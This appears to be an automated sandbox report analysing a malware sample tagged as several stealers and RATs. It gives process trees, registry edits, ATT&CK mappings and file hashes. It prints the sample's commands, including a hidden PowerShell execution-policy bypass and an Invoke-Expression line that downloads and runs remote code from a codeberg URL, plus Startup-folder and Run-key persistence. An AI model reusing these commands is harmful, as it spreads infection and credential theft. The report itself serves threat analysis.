Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\VersionIndependentProgID\ = "GUBootService.SessionStartup" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GU.Encrypted\Shell\Open\Command\ = "C:\\Program Files (x86)\\Glary Utilities\\fileencrypt.exe -d %1" ~onrnkpk.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GU.Splitted\Shell\Open\Command\ = "C:\\Program Files (x86)\\Glary Utilities\\filesplitter.exe -j %1" ~onrnkpk.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B3C418F8-922B-4faf-915E-59BC14448CF7}\InprocServer32\ThreadingModel = "Apartment" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B52C0F28-8D4C-4886-965C-0A772490064E}\1.0\ = "ContextHandler 1.0 ÀàÐÍ¿â" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\Glary Utilities regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58B505BE-F589-4E8E-8BF2-B78E078CA8F7}\ProgID\ = "GRIDMAP_CTRL.GridMapCtrl.1" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E2DA46AF-A5CD-47A5-B345-7764100E3F97}\ProgID GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\LocalServer32\ = "\"C:\\Program Files (x86)\\Common Files\\Glarysoft\\StartupManager\\1.0\\GUBootService.exe\"" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FD50332F-185B-4D3C-B921-E0B65E547F28}\TypeLib\Version = "1.0" regsvr32.exe - Runs .reg file with regedit 1 IoCs
pid Process 936 regedit.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 3676 powershell.exe 3676 powershell.exe 3676 powershell.exe 4568 Initialize.exe 4568 Initialize.exe 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 820 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeDebugPrivilege 3676 powershell.exe Token: SeDebugPrivilege 264 DiskDefrag.exe Token: SeDebugPrivilege 2384 StartupManager.exe Token: SeDebugPrivilege 4616 procmgr.exe Token: SeDebugPrivilege 4616 procmgr.exe Token: SeDebugPrivilege 1048 MemfilesService.exe Token: SeDebugPrivilege 4568 Initialize.exe Token: SeDebugPrivilege 1488 MemfilesService.exe Token: SeDebugPrivilege 4680 MemfilesService.exe Token: SeDebugPrivilege 4568 Initialize.exe Token: SeDebugPrivilege 4568 Initialize.exe Token: SeDebugPrivilege 4568 Initialize.exe Token: SeBackupPrivilege 4680 MemfilesService.exe Token: SeDebugPrivilege 4308 powershell.exe - Suspicious use of FindShellTrayWindow 33 IoCs
pid Process 2308 p1.bin 2308 p1.bin 2308 p1.bin 1560 setup.exe 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2100 ~onrnkpk.tmp 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 1560 setup.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 2308 p1.bin 2308 p1.bin 2308 p1.bin 1560 setup.exe 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 2308 p1.bin 1560 setup.exe - Suspicious use of SetWindowsHookEx 17 IoCs
pid Process 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 264 DiskDefrag.exe 2384 StartupManager.exe 4616 procmgr.exe 4616 procmgr.exe 1048 MemfilesService.exe 1488 MemfilesService.exe 4680 MemfilesService.exe 4680 MemfilesService.exe 4680 MemfilesService.exe 4680 MemfilesService.exe 4568 Initialize.exe 4680 MemfilesService.exe 4680 MemfilesService.exe 4680 MemfilesService.exe - Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 1000 wrote to memory of 2308 1000 2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe 88 PID 1000 wrote to memory of 5836 1000 2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe 89 PID 5836 wrote to memory of 1560 5836 p2.bin 90 PID 2308 wrote to memory of 5020 2308 p1.bin 91 PID 5020 wrote to memory of 2100 5020 ~onrnkpk.tmp 92 PID 1560 wrote to memory of 1788 1560 setup.exe 93 PID 1788 wrote to memory of 3676 1788 cmd.exe 95 PID 2100 wrote to memory of 4060 2100 ~onrnkpk.tmp 96 PID 4060 wrote to memory of 5876 4060 regsvr32.exe 97 PID 2100 wrote to memory of 4028 2100 ~onrnkpk.tmp 98 PID 2100 wrote to memory of 4484 2100 ~onrnkpk.tmp 99 PID 2100 wrote to memory of 264 2100 ~onrnkpk.tmp 100 PID 2100 wrote to memory of 2384 2100 ~onrnkpk.tmp 103 PID 2384 wrote to memory of 1508 2384 StartupManager.exe 104 PID 2100 wrote to memory of 3132 2100 ~onrnkpk.tmp 105 PID 2100 wrote to memory of 4616 2100 ~onrnkpk.tmp 106 PID 2100 wrote to memory of 1048 2100 ~onrnkpk.tmp 107 PID 2100 wrote to memory of 5780 2100 ~onrnkpk.tmp 111 PID 2100 wrote to memory of 4568 2100 ~onrnkpk.tmp 116 PID 4568 wrote to memory of 4680 4568 Initialize.exe 119 PID 4568 wrote to memory of 2700 4568 Initialize.exe 120 PID 2100 wrote to memory of 936 2100 ~onrnkpk.tmp 121 PID 1560 wrote to memory of 5316 1560 setup.exe 123 PID 1560 wrote to memory of 3256 1560 setup.exe 124 PID 5316 wrote to memory of 4912 5316 WScript.exe 125 PID 1580 wrote to memory of 5220 1580 WScript.exe 130 PID 1560 wrote to memory of 3680 1560 setup.exe 132 PID 3680 wrote to memory of 4308 3680 WScript.exe 133 PID 3680 wrote to memory of 5304 3680 WScript.exe 135
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1000 -
C:\Users\Admin\AppData\Local\Temp\wrk\p1.binC:\Users\Admin\AppData\Local\Temp\wrk\p1.bin2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Program Files (x86)\Common Files\~onrnkpk.tmp"C:\Program Files (x86)\Common Files\~onrnkpk.tmp" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP- /LOADINF="C:\Program Files (x86)\Common Files\~prxumop.tmp"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Users\Admin\AppData\Local\Temp\is-ED6PS.tmp\~onrnkpk.tmp"C:\Users\Admin\AppData\Local\Temp\is-ED6PS.tmp\~onrnkpk.tmp" /SL5="$500B2,22086340,67072,C:\Program Files (x86)\Common Files\~onrnkpk.tmp" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP- /LOADINF="C:\Program Files (x86)\Common Files\~prxumop.tmp"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Glary Utilities\x64\ContextHandler.dll"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Glary Utilities\x64\ContextHandler.dll"6⤵
- Loads dropped DLL
- Modifies system executable filetype association
- Modifies registry class
PID:5876
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Glary Utilities\GridMap.ocx"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4028
-
-
C:\Program Files (x86)\Glary Utilities\x64\GUAssistComSvc.exe"C:\Program Files (x86)\Glary Utilities\x64\GUAssistComSvc.exe" /RegServer5⤵
- Executes dropped EXE
- Modifies registry class
PID:4484
-
-
C:\Program Files (x86)\Glary Utilities\DiskDefrag.exe"C:\Program Files (x86)\Glary Utilities\DiskDefrag.exe" -InstallNative5⤵
- Uses Session Manager for persistence
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:264
-
-
C:\Program Files (x86)\Glary Utilities\StartupManager.exe"C:\Program Files (x86)\Glary Utilities\StartupManager.exe" -install5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe"C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe" /Service6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1508
-
-
-
C:\Program Files (x86)\Glary Utilities\GUPMService.exe"C:\Program Files (x86)\Glary Utilities\GUPMService.exe" /Service5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3132
-
-
C:\Program Files (x86)\Glary Utilities\procmgr.exe"C:\Program Files (x86)\Glary Utilities\procmgr.exe" -guupdate5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4616
-
-
C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe"C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe" -RegServer5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1048
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Delete /F /TN "GU5SkipUAC"5⤵
- System Location Discovery: System Language Discovery
PID:5780
-
-
C:\Program Files (x86)\Glary Utilities\Initialize.exe"C:\Program Files (x86)\Glary Utilities\Initialize.exe" /setupschedule /installinit productid=15 productname="Glary Utilities Pro"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe"C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4680
-
-
C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe"C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe" /Service6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2700
-
-
-
C:\Windows\SysWOW64\regedit.exe"C:\Windows\regedit.exe" /S "C:\Program Files (x86)\Common Files\settings.reg"5⤵
- System Location Discovery: System Language Discovery
- Runs .reg file with regedit
PID:936
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wrk\p2.binC:\Users\Admin\AppData\Local\Temp\wrk\p2.bin2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5836 -
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -exec bypass -file "C:\Users\Public\Settings\A\News\win.ps1"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -exec bypass -file "C:\Users\Public\Settings\A\News\win.ps1"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3676
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\ShellNew\dfr\fonts.js"4⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5316 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main.bat" "5⤵
- Creates a file in the Startup directory
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4912
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\windowsdefender.js"4⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:3256
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://codeberg.org/sabifati2/2/raw/branch/main/ttmyheard.txt')"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4308
-
-
C:\Windows\SysWOW64\xcopy.exe"C:\Windows\System32\xcopy.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dfl.vbs*"5⤵
- Creates a file in the Startup directory
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
PID:5304
-
-
-
-
-
C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe"C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4500
-
C:\Windows\System32\drivers\GUBootStartup.sysC:\Windows\System32\drivers\GUBootStartup.sys1⤵
- Executes dropped EXE
PID:4436
-
C:\Program Files (x86)\Glary Utilities\GUPMService.exe"C:\Program Files (x86)\Glary Utilities\GUPMService.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4316
-
C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe"C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe" -Svc1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1488
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\windowsdefender.js"1⤵
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Windows\SysWOW64\cscript.exe"C:\Windows\SysWOW64\cscript.exe" /e:jscript "C:\ProgramData\windowsdefender.js"2⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:5220
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4JavaScript
1PowerShell
1Visual Basic
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
3Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
3Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\Common Files\~onrnkpk.tmp
- Size 21.4MB
- SHA256 187cc33820d1d99cb98e680a07794d37ce3bf9d08774b453fccdf8c3d82052f0
- MD5 7f429b671e21a243c38881fb3241c591
- SHA1 8789805ff96e1b07c1cc8a12e5cfac6f3a1edb08
- SHA512 1a79cb15c6b6766e52b2b2868c44da2333d3986210b8f2925e105a817b6a0587bfc24b3321c5fdef0aa1729801dc1c2ed5392c752e37c93133a69a8fcbb60c18
- SSDEEP 393216:RTcn8sJVtD1SA6B5kh1qLzP3KTgslmt5II1UkddcHoa:lXsFRSA6B54q33kgrPVGCdcHoa
- TLSH T1883733830B481FD0CA627731D97E4CAD86AF676F8074BB76A0DD4143E53D298B92438E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Common Files\~prxumop.tmp
- Size 135B
- SHA256 4532512bab4aeda75d6568d4ab116934a36481f961b6f34e63c950ae9833e4c4
- MD5 056034a45bf21fd203d0f3012a22bffd
- SHA1 4532147b50b8f97896c901652ddeb99f9a361427
- SHA512 936784e2d50a7fb496580816d2cee920d959c0d36935d256980fc2a47857d685e1b04aa749ad0e49eb0c42134467cd042ce66b6ae728d90fd4bf736d9c3f8f6d
- TLSH T161C02B0A6B06E080122C9182793449C003B9CF8A1AE09C380403DA0900E0F30132C134
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\Glary Utilities\BottDefrag.dll
- Size 52KB
- SHA256 dfd8f6deb40f56ac7d5b0430ddff1bc488ae8fada36871fe8841a8a355fb6654
- MD5 59963223f3e69957f7e0e80db4ef70df
- SHA1 d3db01174bd1a653c4044e373ab7e7c397f33bac
- SHA512 324886a1ee1cd0a350df18f3ee51ddf3995433a0f9622c9ebadf54844e6cd6950e2d9d22e58a554158acf77a44ee7fa84e9f9aede984d9ec0906709816a63bc0
- SSDEEP 768:6T4pTFKe5PmCSbAhx/tpTbhtocc0/ofTOtVy0Yi7Jt5ALAWYi7JOP335ALu:EITFKCRSivpTb7occ0qTOtVy07K7UPr
- TLSH T1A0337C93AB941893EA3F6A3035D5672B5D7EF0A21BD140C7631B5BCC0EA22D1F1BC199
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\CheckUpdate.dll
- Size 1.1MB
- SHA256 2ab75f316be6031d46f27d04f7f30f86de1c887030e126da2b404374a85e00a3
- MD5 7e4cbf7cab9b6dacc75756c8fb4915b5
- SHA1 75633e5259d74fff17e13685df9bbb8abe59a55e
- SHA512 1cd0556a24ddb691c1a68636015742ec3446915f233b876bed709e6d6a47a0dedfd288628c1f5f60b8693791f3c0b3809f93c494638c3f02998e12ab93100d12
- SSDEEP 12288:IaCd374kDO8FXwOnYOoHw0Q2DLcM3Z/1dDmF2aJUBq9R5oz:Iak374kDO8FAfOopD53ZneVJUq7oz
- TLSH T1E8359E5576E0C470C9BA327518A1873867FBEC39C77422E7BEC83F6949312D25A3821B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\Config.dll
- Size 41KB
- SHA256 16fea135c5ddcba2201fd1406ac07ce8f588ffb94d17632c97391eb8fc8c9c9d
- MD5 b475ec24675433fd3dc751c5d2ca1c3b
- SHA1 9968b57f4923a60fd89d8945e2962a1e53ce58d5
- SHA512 a5fe580db7e7e60767828ab14d15c8a9648d84dfa4f15b6c69826e8e9e9c28e27aae50826eeb38d3d76def6447a7865c4d4eea1b628c7f538b6e29b45206485d
- SSDEEP 768:q+wORwVnjaz9P4nge57FOt3Q+Vm+VYi7hg/u5ALfcYi7Ja5AL:q+wHnOz92ge57FOtfVm+V7K+7
- TLSH T1FE136B96DCA4C822DE2F193078E5D63659653C956FE1C0D7379AC71E0BA03C329F81AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\CrashReport.dll
- Size 300KB
- SHA256 f04522ef7b432b026f22ad8dff3abdd03d06ef795c95885897bc0f36c8d79744
- MD5 d032c5d3abbb5bfd846f5d8563f0c487
- SHA1 1f4b3cc69a9f737c95afc8783a9e4b76584d6fbe
- SHA512 9dcba137f1fa0569ca92cdc4429ff8a9c002a4ce57223b1da0825e25f6969e1027d47001a7396996776c64cd30e9706f544e8a7bf8f6ce54c264d80c9d8290fa
- SSDEEP 6144:+J3KbqxdjkUe+wQ+Rm60lb/vtNJYb+QMd6wb2sj6pCUX:+hT1Bb/vtNJYb+QMd6wbBspX
- TLSH T11E647B2176A0C432D9EB2534596F86796AEDBC305B60C1C7B7842F7D1E71AC16E3832B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\DiskDefrag.exe
- Size 998KB
- SHA256 277c171d4a57065c5d7a9c2116ab04faaf0765aac23269473818507ec6787567
- MD5 617e895ac3a249a2e6d21af7dabd47dc
- SHA1 e5429f8ff5a88e7ce3fe6f41e4d7e83c6106cb5c
- SHA512 b1393e72d212a58cd1b7cdd9531784051a1d81ed394ce5406ca92f7e213fe586c4f450a0a533c684d39db7c3aaa1c306e366b46ac01452005d812e72fcf6e97e
- SSDEEP 24576:0jKVwXaIQK9qg/y8aXTBp7Gwz7Qqg3/weu7Sr:03q62z799gVuur
- TLSH T13B255C11E78B80A7D9792372B16A772B552FB78B53514ACFD21E0F7A1C922C31C3A50B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\GUWndManager.dll
- Size 111KB
- SHA256 87f5c7eb0935909bd533bf61b481c9bfa2bd5415b350f64a31b0fd4d42778335
- MD5 92a9799db183aa6d9febfac9865844f2
- SHA1 c5618f4f62a4bef6b619b3c72b1e55af834556b5
- SHA512 db3a8cc490a23dad1e4ec981d0a44ffdaa516be0455d030bb858b567455ca403477dee8ac050c1c62cbdd5076c904e4da9c9518565875d648e14673db666469b
- SSDEEP 3072:5rLxggRNF2MEf4EvuBU0dW/LmfIm2HmZnOtVndDnh:5rtggfF2YRW/LmfWmZnOtVJ
- TLSH T1F2B38D40B7CA4171DE5F667C1498AB3AD737E252DFD04AC7BB284B8E0B941C26D39287
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\GridMap.ocx
- Size 161KB
- SHA256 65293604b2f7d9b9a9946724a1e0769ac4454453dfdb4ff491db1710e778159f
- MD5 0ac55e0d792e46c7d8638ffb001a4474
- SHA1 3b09248a427e6d81f5956f908690648a5cd83749
- SHA512 c736e71186ebe86eb0f8214ee82598e768e4b14968572736686a1fc8f7712c88f47b0dd270cf3080ed8528165945880f0712b5f3a5e2e542318b3cc11c53baca
- SSDEEP 3072:rDO5RDmuUOkl4oMWVayGNRRy8Couzy3OtUzARX7I+:f2UOkDtANnIouzy3OtUz4s+
- TLSH T192F34982FFC98572D99F167C28AB635D837B99909B1446C3F3542E4E6C602D36DB8383
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\Integrator.exe
- Size 914KB
- SHA256 27e64ee70ce87c5254ca6155fa33c90963da42e86960e71e9789e33513094266
- MD5 279789c00a056e24f09dfcb2aaff8bdd
- SHA1 4f5cd937e32d95cf6f21f415fd5f391875c4f9ff
- SHA512 f732c9762983337488d0891446526c7361b2f3c0b39c6ea30e6395a32c66c1b19b3b3a942daf613349be942e178eed7902ba8eecb7957eadba470888a4db755a
- SSDEEP 12288:JuHZHIf8aok5v7toxB3J41g0sqiEClaoaQEID9Ex5j9y:JWZHIf77toj3Ci0sqvC/aJQGj9y
- TLSH T12D156C42B7E5C276CEB231B11D346B3AF17BB959437842EB62886B9918511F22C3D337
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\Languages.dll
- Size 53KB
- SHA256 6b10b46097b94afddf4b5bae44a47b0fb0e9443c0c28f5fcd91c8bbc1c9c6c56
- MD5 185c4e803f8cd5e6a256f66480acf2ac
- SHA1 8696a835f9221c68acf49ba93f8bc2cdd19c765e
- SHA512 fc3c28629c3a71da268c2b670499ef4045b6ff83868554ac5dbadeff60a82aae91bf13fd92bbbab1c22fbd5d19866258823fd217ba01494bdca0384d8056e1f8
- SSDEEP 768:R0sTiJOCCDk95IhiGu5xLWM2OK7bom9JYi7JCv5ALgxYi7JPEV5ALA9:RYknDk95IsnD2OKvom9J7wP7Ol9
- TLSH T1A8336D528B4898F3DB4F627038D0A739997161502FD062D3A32B57EA0F773C1FABA255
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\Log.dll
- Size 132KB
- SHA256 976545a126252006fa85609f037f4841aed5877a2f394bb977fefb4bb5a85bce
- MD5 17d03764cb6340daa2e6039bb00c0619
- SHA1 f46ef4ed6ade21128ec2da1de96bad30e9fefa38
- SHA512 5a47574b2dc1e088886c998761a5b3d15d63eccf25f92124806d600859661249e4a332df2daefc33d23af6ea02854ddbeb2bde75650da7c24aea12c9f49d2153
- SSDEEP 1536:Xr5vY33x2guQTaweR6IO2fi1xVkhb3GHFAlvPGELYdaF51lMQLa747:XpGBnuW7SulseELYdaF51lMnU
- TLSH T1B9D38D127990C072C48B69366061C73AAB7FB531ABA0D9C3B7541B795F603D1EE3E34A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Glary Utilities\MachineCode.dll
- Size 346KB
- SHA256 a58f39e4489951a428970705eb8b722dbd965e905796f67bd3dd261eda024ec1
- MD5 991083a24b013f94900fc1187377506c
- SHA1 7e1aab6945946ca032fcdda9ec32898fb259dda8
- SHA512 30919961acbb1ef3d41a4204709851e82db8cddb5b8c410ddfcf587a49a7d9216673d825e1391706fbfeec2870329ec505edf4610ee6362f525e727a91daf60e
- SSDEEP 6144:m48L4/dXZ6yHiwCgKjaH0/LAo3jslcVx6cvY0obyDUrreN90UZbr8s:m4Z/dcyHi8tH0jd4K6SYA/8s
